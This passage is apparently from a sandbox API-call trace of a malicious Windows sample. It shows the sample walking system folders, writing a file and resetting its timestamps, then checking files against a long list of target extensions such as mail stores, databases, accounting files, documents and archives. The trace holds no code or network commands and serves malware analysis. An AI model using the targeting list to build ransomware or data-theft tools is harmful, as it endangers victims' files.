lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96da5dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x96da5dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x96da5dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0117.611] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.Linq\\9705a1a4cb1828c1c7c74f8952d567ae\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96da5dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x96dcbf30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x96dcbf30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0117.611] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.035] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.035] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.Services\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97ba1f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x97ba1f10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x97ba1f10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0118.088] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.Services\\6477489ca4d22636fa3546d0316ca591\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97ba1f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x97ba1f10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x97ba1f10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0118.089] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.106] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.107] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.SqlXml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542a5850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x542a5850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x542a5850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0118.108] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.SqlXml\\5f5d6c1b4261c849bdcd39f6bcccb13b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542a5850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x542a5850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x542a5850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0118.122] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.128] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.128] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data14bed3a9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa51ddb10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa51ddb10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa51ddb10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0118.130] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data14bed3a9#\\43ed165e18772def7628ddb4f70c69aa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa51ddb10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa51ddb10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa51ddb10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0118.332] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.334] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.334] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data16016462#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6b74790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6b74790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6b74790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0118.434] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data16016462#\\abfd040a82d8e14cb8bf61e2e468d6f4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6b74790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6b74790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6b74790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0118.535] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.537] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.538] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data7706cdc8#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fc6e770, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8fc6e770, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8fc6e770, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0118.538] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data7706cdc8#\\e256b79dfd5e9e14688d13aa81bef5c9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fc6e770, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8fc6e770, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8fc6e770, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0118.673] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.674] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.675] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data86569bbf#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a7a17b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a7a17b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a7a17b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0118.703] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data86569bbf#\\a2fcac4178dfa632cdc28c170b2fc52e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a7a17b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a7a17b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a7a17b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0118.716] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.721] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.721] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Datab086ae17#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95d22530, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x95d22530, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x95d22530, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0118.726] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Datab086ae17#\\fcf20e21d8c22e0b43e9b160d9ba2466\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95d22530, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x95d22530, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x95d22530, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0118.753] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.756] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.756] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Deployment\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bd39b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70bd39b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70bd39b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0118.767] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Deployment\\792bc3f63f441586023846e411cf598b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bd39b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70bd39b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70bd39b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0118.768] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.777] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.777] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a0c9870, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a0c9870, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a0c9870, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0118.796] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a0c9870, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a0ef9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a0ef9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0118.797] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.839] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0118.843] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0118.843] CloseHandle (hObject=0x90) returned 1 [0118.844] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.ems") returned 0 [0118.845] lstrlenA (lpString="*.ems") returned 5 [0118.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.db") returned 0 [0118.845] lstrlenA (lpString="*.db") returned 4 [0118.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.dbf") returned 0 [0118.845] lstrlenA (lpString="*.dbf") returned 5 [0118.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.myox") returned 0 [0118.845] lstrlenA (lpString="*.myox") returned 6 [0118.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.myo") returned 0 [0118.845] lstrlenA (lpString="*.myo") returned 5 [0118.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.qbw") returned 0 [0118.845] lstrlenA (lpString="*.qbw") returned 5 [0118.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.qbb") returned 0 [0118.845] lstrlenA (lpString="*.qbb") returned 5 [0118.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.qbm") returned 0 [0118.845] lstrlenA (lpString="*.qbm") returned 5 [0118.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.qbo") returned 0 [0118.845] lstrlenA (lpString="*.qbo") returned 5 [0118.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.qbx") returned 0 [0118.845] lstrlenA (lpString="*.qbx") returned 5 [0118.845] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.qba") returned 0 [0118.846] lstrlenA (lpString="*.qba") returned 5 [0118.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.qby") returned 0 [0118.846] lstrlenA (lpString="*.qby") returned 5 [0118.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.qbj") returned 0 [0118.846] lstrlenA (lpString="*.qbj") returned 5 [0118.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.ofx") returned 0 [0118.846] lstrlenA (lpString="*.ofx") returned 5 [0118.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.qif") returned 0 [0118.846] lstrlenA (lpString="*.qif") returned 5 [0118.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.mye") returned 0 [0118.846] lstrlenA (lpString="*.mye") returned 5 [0118.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.mbox") returned 0 [0118.846] lstrlenA (lpString="*.mbox") returned 6 [0118.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.eml") returned 0 [0118.846] lstrlenA (lpString="*.eml") returned 5 [0118.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.pst") returned 0 [0118.846] lstrlenA (lpString="*.pst") returned 5 [0118.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.ost") returned 0 [0118.846] lstrlenA (lpString="*.ost") returned 5 [0118.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.idx") returned 0 [0118.846] lstrlenA (lpString="*.idx") returned 5 [0118.846] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.dbx") returned 0 [0118.847] lstrlenA (lpString="*.dbx") returned 5 [0118.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.sql") returned 0 [0118.847] lstrlenA (lpString="*.sql") returned 5 [0118.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.mdb") returned 0 [0118.847] lstrlenA (lpString="*.mdb") returned 5 [0118.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.fdb") returned 0 [0118.847] lstrlenA (lpString="*.fdb") returned 5 [0118.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.wab") returned 0 [0118.847] lstrlenA (lpString="*.wab") returned 5 [0118.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.dat") returned 0 [0118.847] lstrlenA (lpString="*.dat") returned 5 [0118.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.txt") returned 0 [0118.847] lstrlenA (lpString="*.txt") returned 5 [0118.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0118.847] lstrlenA (lpString="*.jpeg") returned 6 [0118.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.jpg") returned 0 [0118.847] lstrlenA (lpString="*.jpg") returned 5 [0118.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.png") returned 0 [0118.847] lstrlenA (lpString="*.png") returned 5 [0118.847] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.php") returned 0 [0118.847] lstrlenA (lpString="*.php") returned 5 [0118.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.cs") returned 0 [0118.848] lstrlenA (lpString="*.cs") returned 4 [0118.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.cpp") returned 0 [0118.848] lstrlenA (lpString="*.cpp") returned 5 [0118.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.rar") returned 0 [0118.848] lstrlenA (lpString="*.rar") returned 5 [0118.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.zip") returned 0 [0118.848] lstrlenA (lpString="*.zip") returned 5 [0118.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.html") returned 0 [0118.848] lstrlenA (lpString="*.html") returned 6 [0118.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.htm") returned 0 [0118.848] lstrlenA (lpString="*.htm") returned 5 [0118.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0118.848] lstrlenA (lpString="*.xlsx") returned 6 [0118.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.xls") returned 0 [0118.848] lstrlenA (lpString="*.xls") returned 5 [0118.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.mp4") returned 0 [0118.848] lstrlenA (lpString="*.mp4") returned 5 [0118.848] PathMatchSpecA 